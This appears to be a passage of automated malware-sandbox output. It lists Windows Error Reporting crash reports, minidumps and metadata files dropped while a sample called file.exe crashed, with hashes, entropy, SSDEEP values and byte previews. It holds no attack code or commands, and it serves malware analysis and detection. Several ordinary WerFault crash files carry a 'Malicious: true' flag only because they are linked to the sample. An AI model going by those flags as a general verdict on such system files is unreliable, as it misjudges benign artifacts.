SHA-512:	CB26D8837B531A206CD37DF93526F11027C8E5A840C05079D77A81F1463987454A4F125BEB6670629697FEA539AE4B0B1614D423056DE0DBAA80A51B0A339F26
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.9.3.1.6.9.7.2.5.8.8.2.6.7.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.b.5.2.3.2.f.6.-.0.2.0.5.-.4.8.6.e.-.a.9.6.e.-.f.f.e.2.2.7.b.7.f.1.4.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.a.d.8.2.7.2.b.-.3.6.4.7.-.4.b.1.a.-.b.3.8.d.-.7.a.5.b.6.a.6.3.5.7.a.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.7.c.-.0.0.0.1.-.0.0.1.9.-.a.5.7.9.-.e.c.5.c.8.8.d.7.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.6.5.3.d.e.e.c.5.b.c.5.a.9.c.c.9.7.3.9.f.2.5.f.4.c.2.c.d.7.5.a.0.0.0.0.f.f.f.f.!.0.0.0.0.e.b.b.b.0.c.3.5.8.6.b.8.a.0.2.4.4.5.8.5.e.a.c.b.4.4.c.a.1.2.5.a.c.9.3.3.a.d.8.e.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.9././.1.9.:.1.5.:.0.2.:.4.3.!.0.!.f.i.l.e...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.e.S.p.l.i.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_43a044097e5f3ef507ce7a9f19c0e6d280fb_440dec59_0fb9b83a\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8645912092877456
Encrypted:	false
SSDEEP:	192:OG1VfavMFH56rrE3jDm/u7swS274It1hBx:V2E56rwjC/u7swX4ItN
MD5:	BFE67807DC0602F55378507755440CEE
SHA1:	B3EB70858BDCE565941C6E0F060FC884B3ADEF6D
SHA-256:	653586F31427F3303B54C7BDAE8B0671116DC96D1442414B4F322B8DE2FBC17B
SHA-512:	E9DE1C42FEBFF12DCBE0CD19AAC56582A97B5E165F266FA099D3C6B6D0F453BBC6177D6581553CD1CE7F309520844187934AD4D4CA2470B755E5D4549D64788B
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.9.3.1.6.9.8.9.4.4.9.7.0.7.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.a.e.2.b.f.8.7.-.d.c.2.0.-.4.4.f.c.-.b.4.8.0.-.c.6.5.b.a.c.7.b.6.4.2.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.c.6.f.3.9.9.7.-.1.3.9.0.-.4.9.0.9.-.9.9.4.c.-.f.8.1.7.8.3.9.8.6.2.d.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.7.c.-.0.0.0.1.-.0.0.1.9.-.a.5.7.9.-.e.c.5.c.8.8.d.7.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.6.5.3.d.e.e.c.5.b.c.5.a.9.c.c.9.7.3.9.f.2.5.f.4.c.2.c.d.7.5.a.0.0.0.0.f.f.f.f.!.0.0.0.0.e.b.b.b.0.c.3.5.8.6.b.8.a.0.2.4.4.5.8.5.e.a.c.b.4.4.c.a.1.2.5.a.c.9.3.3.a.d.8.e.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.9././.1.9.:.1.5.:.0.2.:.4.3.!.0.!.f.i.l.e...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.e.S.p.l.i.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_43a044097e5f3ef507ce7a9f19c0e6d280fb_440dec59_14062c50\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9178695391219902
Encrypted:	false
SSDEEP:	192:+ZG1Vfav7FH56rrE3jDy8/u7swS274It1hBx:+62x56rwjD/u7swX4ItN
MD5:	CA143ECEC56682C4667E60F8CC68A65F
SHA1:	AAAF4F27FCAB944C8AF953F479475148857C665F
SHA-256:	31D5C72900C85B7EE64B1D9E0125812EBD969D2FA3E3EF8744A43412E39B2314
SHA-512:	3456367071CBD45B03310FECF31C50F732E4C3EB6A66963F09BE3CD8E8F9B8ED896F76A1B797C3AC695C40768AD45F626B2EB4B63F73DD9C0EDFD627A3C5C559
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.9.3.1.7.0.1.9.3.7.0.4.2.6.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.c.e.6.7.7.7.a.-.5.f.9.4.-.4.1.5.c.-.9.0.3.0.-.d.e.9.5.7.1.e.6.d.f.a.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.e.4.6.8.3.4.a.-.f.6.2.a.-.4.4.a.e.-.8.f.c.4.-.1.d.9.f.b.b.1.4.9.1.7.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.7.c.-.0.0.0.1.-.0.0.1.9.-.a.5.7.9.-.e.c.5.c.8.8.d.7.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.6.5.3.d.e.e.c.5.b.c.5.a.9.c.c.9.7.3.9.f.2.5.f.4.c.2.c.d.7.5.a.0.0.0.0.f.f.f.f.!.0.0.0.0.e.b.b.b.0.c.3.5.8.6.b.8.a.0.2.4.4.5.8.5.e.a.c.b.4.4.c.a.1.2.5.a.c.9.3.3.a.d.8.e.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.9././.1.9.:.1.5.:.0.2.:.4.3.!.0.!.f.i.l.e...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.e.S.p.l.i.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_43a044097e5f3ef507ce7a9f19c0e6d280fb_440dec59_1431a86b\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8419314888891837
Encrypted:	false
SSDEEP:	192:86bG1VfavFFH56rrE3jDB/u7swS274It1hBx:8682P56rwjl/u7swX4ItN
MD5:	5F781DC311C9F39A8DF1C3D0EB4D85B2
SHA1:	5660436EBC6CA12BA0081C30895423D4495E6DB1
SHA-256:	E958CD79B8663CD546443A8FB101F4932E1B78A6D9BE0AAEE8DA6D1A7BD102F4
SHA-512:	034BABD2EE208DDA30EC06F53707A3B6386859E9F45B40AAE66AAD3B10AAEC71F11797EF991C3B17C61228FD368C30046EE30E5AA1A29E536DE961EFA7AD26A9
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.9.3.1.6.9.8.1.9.9.7.0.6.7.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.6.a.d.9.7.b.5.-.4.e.3.4.-.4.d.f.6.-.b.c.3.6.-.f.8.a.5.d.4.6.a.4.f.7.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.3.c.b.b.3.9.8.-.3.f.b.4.-.4.2.4.2.-.b.2.a.a.-.b.4.b.b.d.0.0.9.4.5.6.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.7.c.-.0.0.0.1.-.0.0.1.9.-.a.5.7.9.-.e.c.5.c.8.8.d.7.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.6.5.3.d.e.e.c.5.b.c.5.a.9.c.c.9.7.3.9.f.2.5.f.4.c.2.c.d.7.5.a.0.0.0.0.f.f.f.f.!.0.0.0.0.e.b.b.b.0.c.3.5.8.6.b.8.a.0.2.4.4.5.8.5.e.a.c.b.4.4.c.a.1.2.5.a.c.9.3.3.a.d.8.e.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.9././.1.9.:.1.5.:.0.2.:.4.3.!.0.!.f.i.l.e...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.e.S.p.l.i.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_43a044097e5f3ef507ce7a9f19c0e6d280fb_440dec59_17918727\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8419290418748682
Encrypted:	false
SSDEEP:	192:3G1Vfav7FH56rrE3jDB/u7swS274It1hBx:g2x56rwjl/u7swX4ItN
MD5:	05C5565B84AF00791301D3D05D4A5A7C
SHA1:	E3071FBA62D46995DB3DE686D83F6B25B8313922
SHA-256:	7824D8794AE43997AD79EC7AECD2B15D4DE6C75ABF430143470CADD47A7ABEDD
SHA-512:	DD7B7D2B0EC0DFF20B0E47A404E75A5DAB161A6C2117583D5F58174D4830B976E0D10FED9F9FA1B4032D24F888F8A274858EB80017F3F5600EFCBB1E6C2334FE
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.9.3.1.6.9.7.7.0.8.6.8.9.8.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.8.b.c.9.6.5.4.-.b.4.7.0.-.4.9.3.4.-.9.3.1.7.-.a.6.c.3.3.3.5.b.7.9.2.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.c.d.9.7.b.e.a.-.0.a.8.e.-.4.0.4.2.-.9.e.3.e.-.6.9.5.5.6.4.f.0.f.4.f.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.7.c.-.0.0.0.1.-.0.0.1.9.-.a.5.7.9.-.e.c.5.c.8.8.d.7.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.6.5.3.d.e.e.c.5.b.c.5.a.9.c.c.9.7.3.9.f.2.5.f.4.c.2.c.d.7.5.a.0.0.0.0.f.f.f.f.!.0.0.0.0.e.b.b.b.0.c.3.5.8.6.b.8.a.0.2.4.4.5.8.5.e.a.c.b.4.4.c.a.1.2.5.a.c.9.3.3.a.d.8.e.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.9././.1.9.:.1.5.:.0.2.:.4.3.!.0.!.f.i.l.e...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.e.S.p.l.i.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_43a044097e5f3ef507ce7a9f19c0e6d280fb_440dec59_17c5cdc5\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8844034957297929
Encrypted:	false
SSDEEP:	192:QfG1VfavBFH56rrE3jDyG/u7swS274It1hBx:QI2D56rwjJ/u7swX4ItN
MD5:	D56429A7633BE3262EEE75F7265F8DDF
SHA1:	F04A49AFC5F084360D2A08CEDF09AAAB69AFC029
SHA-256:	3556DD34019427E27224730C2127784CA6CB63422B8CA11562C20DC3483D07D8
SHA-512:	17FDE668172122D084BBE84BB0A49A43BB742371B313009CB2175CE8964B00DE64DF00AE5A804CB58A01DF5E4A0CBC24435F7787EA0C9BDD3CAEA7E04BF70EED
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.9.3.1.6.9.9.5.3.2.4.2.9.2.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.9.4.3.2.3.b.e.-.0.6.7.7.-.4.3.0.e.-.b.3.a.1.-.1.5.9.e.5.9.b.4.6.3.f.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.1.8.7.4.3.c.9.-.3.7.3.4.-.4.d.8.6.-.a.5.5.7.-.7.9.a.7.b.3.8.8.9.9.b.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.7.c.-.0.0.0.1.-.0.0.1.9.-.a.5.7.9.-.e.c.5.c.8.8.d.7.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.6.5.3.d.e.e.c.5.b.c.5.a.9.c.c.9.7.3.9.f.2.5.f.4.c.2.c.d.7.5.a.0.0.0.0.f.f.f.f.!.0.0.0.0.e.b.b.b.0.c.3.5.8.6.b.8.a.0.2.4.4.5.8.5.e.a.c.b.4.4.c.a.1.2.5.a.c.9.3.3.a.d.8.e.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.9././.1.9.:.1.5.:.0.2.:.4.3.!.0.!.f.i.l.e...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.e.S.p.l.i.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_43a044097e5f3ef507ce7a9f19c0e6d280fb_440dec59_17e1912a\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8413309258427019
Encrypted:	false
SSDEEP:	192:mG1VfavIFH56rrE3jDB/u7swS274It1hBx:t2456rwjl/u7swX4ItN
MD5:	0AB96516285C4951270041601DA48B24
SHA1:	E6EB4AA60BD3ADECB8D821ED8A85ABEBFDB828BE
SHA-256:	4CCF61E5ED702AAA4C42AF5011EAC0434377D6817405B16836A2BD16D1B75A0F
SHA-512:	B960BD998AE897E33B9BABEC19FD6412CFD5F1BDFDB92C1FEB6FA9C5A9A1BE5E09C150675E9A534480173A4C3DC0A03CCD247FDD631515B169EBE7FD22A5C9BB
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.9.3.1.6.9.7.9.6.4.5.7.8.9.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.6.4.d.7.3.c.0.-.2.a.6.f.-.4.9.c.c.-.9.d.9.3.-.8.9.0.3.2.5.f.b.a.0.0.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.8.0.0.0.2.c.d.-.d.c.1.5.-.4.9.d.7.-.a.1.d.4.-.8.8.0.e.3.0.0.d.5.f.7.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.7.c.-.0.0.0.1.-.0.0.1.9.-.a.5.7.9.-.e.c.5.c.8.8.d.7.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.6.5.3.d.e.e.c.5.b.c.5.a.9.c.c.9.7.3.9.f.2.5.f.4.c.2.c.d.7.5.a.0.0.0.0.f.f.f.f.!.0.0.0.0.e.b.b.b.0.c.3.5.8.6.b.8.a.0.2.4.4.5.8.5.e.a.c.b.4.4.c.a.1.2.5.a.c.9.3.3.a.d.8.e.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.9././.1.9.:.1.5.:.0.2.:.4.3.!.0.!.f.i.l.e...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.e.S.p.l.i.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_83ec7e94952b3dcbb61bd30e98682b9f65d64_440dec59_0e4aaad7\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9867845917103395
Encrypted:	false
SSDEEP:	192:3NG1VfavF8Hox3uSE3jDyL+/u7sLS274It1hBx:322uox3uFjd/u7sLX4ItN
MD5:	FFE341DAFC29395559DE290B63B67E17
SHA1:	EF54570106945D489099041CB737B2FE57BD730E
SHA-256:	530C1F7B56B02455CE3F3C289710665848468A91A1005229DFB49C10E88FB0DC
SHA-512:	487D6BDA9EB61D59CE06368C8DFA859612F58214CFFAE8495532D37A662DB1D1F36EDD5D1C866E80C721C6E59171F716E1820176D1BFADC95493B009009CD19D
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.9.3.1.7.0.5.1.4.5.7.8.7.3.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.d.2.2.8.5.4.e.-.4.9.3.a.-.4.5.6.9.-.b.6.f.a.-.4.8.6.c.5.9.d.5.6.d.8.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.c.1.1.1.6.4.e.-.3.5.b.f.-.4.e.2.c.-.a.9.e.f.-.6.5.f.8.3.c.6.a.e.1.3.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.7.c.-.0.0.0.1.-.0.0.1.9.-.a.5.7.9.-.e.c.5.c.8.8.d.7.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.6.5.3.d.e.e.c.5.b.c.5.a.9.c.c.9.7.3.9.f.2.5.f.4.c.2.c.d.7.5.a.0.0.0.0.f.f.f.f.!.0.0.0.0.e.b.b.b.0.c.3.5.8.6.b.8.a.0.2.4.4.5.8.5.e.a.c.b.4.4.c.a.1.2.5.a.c.9.3.3.a.d.8.e.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.9././.1.9.:.1.5.:.0.2.:.4.3.!.0.!.f.i.l.e...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.e.S.p.l.i.t.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER276E.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 4 00:30:19 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	117066
Entropy (8bit):	2.1634369641325306
Encrypted:	false
SSDEEP:	768:gjTPXz8b284K1UZYDPz90272rZROEsmvP5tK+T8:6z8jH+ZYrz976tRvsmvP5tKm8
MD5:	7E07887FA1DE8C32864D20247C47BE8C
SHA1:	FE26C4AEDD264ECCF4F38ACD9B57908CC252D22F
SHA-256:	C11448C73BE0D8A7CD04F5A196C6DC1CE77E582AAC7C041AB95B58CD63E1040E
SHA-512:	56F41346895F54BD0436EE8E534BE799A6E2AD0F437AAD2E7CBEB6C099830E06894527511F7A0BE44C3D3E85418684FEF6E642450CF70BC3F328F1A34A1F1F1A
Malicious:	false
Preview:	MDMP....... ........~;c............D...............L.......D...rI..........T.......8...........T............2..............$................................................................................U...........B..............GenuineIntelW...........T.......\|...h~;c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2A00.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8408
Entropy (8bit):	3.6938148571549747
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/CQ6I7Des6YBSPSUqgmf6TS4CpBA89bMysfFEm:RrlsNil6Id6YBaSUqgmf+SfMxfz
MD5:	A3BF00D56CDD8B5E244BD9227956D3A5
SHA1:	B25A8B1E6FB03E728AB65E92E8008EAF0893434A
SHA-256:	9CE885F16F62BFE12B3445ADB58B8889716C8EFD41A9181EB3DC81C4A63AF116
SHA-512:	1938907D972BE3940B2F002E21BC1644D3F943FE382C4FB7CA96EBB4BFEED83355C8FAF7642EA147DC48E518ACDC599DE7959B33A8398FD13E7D36A286FBCFBA
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.9.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2ACC.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4674
Entropy (8bit):	4.456695882315008
Encrypted:	false
SSDEEP:	48:cvIwSD8zs/JgtWI9cSWgc8sqYjB8fm8M4JblMFj+q8vclCr8MjTzd:uITfh/zgrsqYKJpiKoCr8MXzd
MD5:	E083462977CAE3329F38BB072D383D7F
SHA1:	E32718198891FDCE4647C35D9406DA527364A8CC
SHA-256:	E17740EEF7610651F435C91DCDA479574B2CB61D4E5106E45258DF360BF73ECE
SHA-512:	AC3BCCE2ABE87A8936EA55197A51529DCA752E856FA2AEA3108003B53A5406B99DAA272C6FFBEEA7C1D5261914DC88E778C7158E1274AEBC03DF051764EE6DBF
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1719940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER70B1.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 4 00:29:32 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	50922
Entropy (8bit):	2.2720533470558357
Encrypted:	false
SSDEEP:	192:VRMNjxGyBCRvQQtOPocbIO6INLc2M7gGntUScAN+axFiG/CBZHPLl4zJBIfiY4+4:QgvQHPThPiRtUSLNT4jHPGzJZsq
MD5:	61A0F85CE06F10187FE81E1E3722C09F
SHA1:	BDA6E5FEC2461BCFA6BF6D58E272FB30EA067743
SHA-256:	A2050B0CADFE8E48D647F052DC29F0E7399882461AEEFD2B8841BFE3F46BEE48
SHA-512:	0E149D8C6874D9E6C0C6689FB0CCACC92E711E58EF7B8EE17ED690E2103DF3F1F6B4419802F4A0409FE806C98DA2F2CB1D5BDC474934BABF3955DF1F82C99DE1
Malicious:	false
Preview:	MDMP....... .......l~;c........................\................*..........T.......8...........T...........(..............(................................................................................U...........B..............GenuineIntelW...........T.......\|...h~;c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER72A6.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8372
Entropy (8bit):	3.695359762107911
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/CXb6qS6YBSQSUyPGgmf6TS4CpBo89b2ysfrSm:RrlsNiCb6qS6YBVSUTgmf+SX2xff
MD5:	EDCA1CF7264B6E25B96F15C28189254B
SHA1:	F6A0D3CF9219BF8337041BB71734E02601B65E35
